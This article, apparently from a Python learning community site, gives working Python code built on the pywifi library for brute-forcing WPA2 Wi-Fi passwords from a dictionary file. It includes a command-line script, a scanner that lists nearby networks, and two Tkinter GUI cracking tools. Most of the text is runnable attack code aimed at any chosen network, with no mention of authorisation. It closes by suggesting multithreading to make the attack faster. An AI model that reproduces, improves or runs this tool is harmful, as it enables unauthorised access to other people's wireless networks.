Python Script for WiFi Password Cracking with CLI and GUI Implementations
This article demonstrates how to use Python and the pywifi library to perform Wi‑Fi password brute‑forcing through both command‑line and graphical interfaces, explains script optimization, shows Tkinter‑based GUI versions, and discusses limitations such as the lack of multithreading.
The article introduces a Python‑based method for automatically cracking Wi‑Fi passwords by leveraging the pywifi library, first presenting a non‑graphical script that reads passwords from a file and attempts connections.
Non‑graphical script:
<code>import pywifi
from pywifi import const
import time, datetime
def wifiConnect(pwd):
wifi = pywifi.PyWiFi()
ifaces = wifi.interfaces()[0]
ifaces.disconnect()
time.sleep(1)
wifistatus = ifaces.status()
if wifistatus == const.IFACE_DISCONNECTED:
profile = pywifi.Profile()
profile.ssid = "Tr0e"
profile.auth = const.AUTH_ALG_OPEN
profile.akm.append(const.AKM_TYPE_WPA2PSK)
profile.cipher = const.CIPHER_TYPE_CCMP
profile.key = pwd
ifaces.remove_all_network_profiles()
tep_profile = ifaces.add_network_profile(profile)
ifaces.connect(tep_profile)
time.sleep(2)
if ifaces.status() == const.IFACE_CONNECTED:
return True
else:
return False
else:
print("已有wifi连接")
def readPassword():
success = False
print("****************** WIFI破解 ******************")
path = "pwd.txt"
file = open(path, "r")
start = datetime.datetime.now()
while True:
try:
pwd = file.readline().strip('\n')
bool = wifiConnect(pwd)
if bool:
print("[*] 密码已破解:", pwd)
print("[*] WiFi已自动连接!!!")
success = True
break
else:
print("正在破解 SSID 为 %s 的 WIFI密码,当前校验的密码为:%s" % ("Tr0e", pwd))
except:
continue
end = datetime.datetime.now()
if success:
print("[*] 本次破解WIFI密码一共用了多长时间:{}".format(end - start))
else:
print("[*] 很遗憾未能帮你破解出当前指定WIFI的密码,请更换密码字典后重新尝试!")
exit(0)
if __name__ == "__main__":
readPassword()</code>The script is then optimized to make the Wi‑Fi name and dictionary path configurable, adding a scanning function to list nearby networks sorted by signal strength.
<code>import pywifi, time
from pywifi import const
def wifi_scan():
wifi = pywifi.PyWiFi()
interface = wifi.interfaces()[0]
interface.scan()
for i in range(4):
time.sleep(1)
print('\r扫描可用 WiFi 中,请稍后。。。(' + str(3 - i) + ')', end='')
print('\r扫描完成!\n' + '-'*38)
print('{:4}{:6}{}'.format('编号', '信号强度', 'wifi名'))
bss = interface.scan_results()
wifi_name_set = set()
for w in bss:
wifi_name_and_signal = (100 + w.signal, w.ssid.encode('raw_unicode_escape').decode('utf-8'))
wifi_name_set.add(wifi_name_and_signal)
wifi_name_list = sorted(list(wifi_name_set), key=lambda a: a[0], reverse=True)
for num, (sig, name) in enumerate(wifi_name_list):
print('{:<6d}{:<8d}{}'.format(num, sig, name))
return wifi_name_list
# Additional functions for cracking and a main loop follow…</code>A simple graphical user interface (GUI) is built using Tkinter, allowing users to input the target Wi‑Fi name and start the cracking process while displaying progress in a listbox.
<code>from tkinter import *
import pywifi, time
from pywifi import const
def wificonnect(str, wifiname):
wifi = pywifi.PyWiFi()
ifaces = wifi.interfaces()[0]
ifaces.disconnect()
time.sleep(1)
if ifaces.status() == const.IFACE_DISCONNECTED:
profile = pywifi.Profile()
profile.ssid = wifiname
profile.auth = const.AUTH_ALG_OPEN
profile.akm.append(const.AKM_TYPE_WPA2PSK)
profile.cipher = const.CIPHER_TYPE_CCMP
profile.key = str
ifaces.remove_all_network_profiles()
tep_profile = ifaces.add_network_profile(profile)
ifaces.connect(tep_profile)
time.sleep(3)
if ifaces.status() == const.IFACE_CONNECTED:
return True
else:
return False
def readPwd():
wifiname = entry.get().strip()
path = r'./pwd.txt'
file = open(path, 'r')
while True:
try:
mystr = file.readline().strip()
bool = wificonnect(mystr, wifiname)
if bool:
text.insert(END, '密码正确' + mystr)
text.see(END)
text.update()
file.close()
break
else:
text.insert(END, '密码错误' + mystr)
text.see(END)
text.update()
except:
continue
root = Tk()
root.title('wifi破解')
root.geometry('500x400')
label = Label(root, text='输入要破解的WIFI名称:')
label.grid()
entry = Entry(root, font=('微软雅黑', 14))
entry.grid(row=0, column=1)
text = Listbox(root, font=('微软雅黑', 14), width=40, height=10)
text.grid(row=1, columnspan=2)
button = Button(root, text='开始破解', width=20, height=2, command=readPwd)
button.grid(row=2, columnspan=2)
root.mainloop()</code>An upgraded GUI version adds features such as Wi‑Fi scanning, password‑file selection, a tree view of networks, and real‑time status messages, encapsulated in a class‑based design.
<code>from tkinter import *
from tkinter import ttk, filedialog, messagebox
import pywifi, time
from pywifi import const
class MY_GUI():
def __init__(self, init_window_name):
self.init_window_name = init_window_name
self.get_value = StringVar()
self.get_wifi_value = StringVar()
self.get_wifimm_value = StringVar()
self.wifi = pywifi.PyWiFi()
self.iface = self.wifi.interfaces()[0]
self.iface.disconnect()
time.sleep(1)
assert self.iface.status() in [const.IFACE_DISCONNECTED, const.IFACE_INACTIVE]
# ... (methods for scanning, displaying, adding password file, connecting, etc.)
def gui_start():
init_window = Tk()
ui = MY_GUI(init_window)
ui.set_init_window()
init_window.mainloop()
if __name__ == "__main__":
gui_start()</code>The article concludes that the presented code lacks multithreading, which would reduce the waiting time during brute‑force attempts, and suggests that adding threads could improve performance.
Finally, a promotional QR code is provided for a free Python public course and additional learning resources.
Python Programming Learning Circle
A global community of Chinese Python developers offering technical articles, columns, original video tutorials, and problem sets. Topics include web full‑stack development, web scraping, data analysis, natural language processing, image processing, machine learning, automated testing, DevOps automation, and big data.
How this landed with the community
Was this worth your time?
0 Comments
Thoughtful readers leave field notes, pushback, and hard-won operational detail here.